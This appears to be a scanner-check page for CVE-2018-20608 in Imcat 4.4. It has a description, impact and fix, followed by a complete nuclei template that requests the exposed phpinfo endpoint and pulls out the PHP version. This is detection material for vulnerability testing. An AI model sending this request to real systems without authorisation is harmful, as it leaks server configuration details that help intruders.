Imcat 4.4 - Phpinfo Configuration

highseverity

7.5CVSS score

12.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Imcat 4.4 allows remote attackers to read phpinfo output via the root/tools/adbug/binfo.php?phpinfo1 URI.

Impact

The vulnerability can lead to the exposure of sensitive information, such as server configuration details.

Fix

Update Imcat to the latest version or apply the necessary patches to fix the Phpinfo Configuration vulnerability.

How to confirm it

Send: GET {{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2018-20608 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-20608

info:
  name: Imcat 4.4 - Phpinfo Configuration
  author: ritikchaddha
  severity: high
  description: Imcat 4.4 allows remote attackers to read phpinfo output via the root/tools/adbug/binfo.php?phpinfo1 URI.
  impact: |
    The vulnerability can lead to the exposure of sensitive information, such as server configuration details.
  remediation: |
    Update Imcat to the latest version or apply the necessary patches to fix the Phpinfo Configuration vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20608
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20608
    cwe-id: CWE-200
    epss-score: 0.12063
    epss-percentile: 0.96176
    cpe: cpe:2.3:a:txjia:imcat:4.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: txjia
    product: imcat
  tags: cve2018,cve,imcat,phpinfo,config,txjia,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/imcat/root/tools/adbug/binfo.php?phpinfo1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from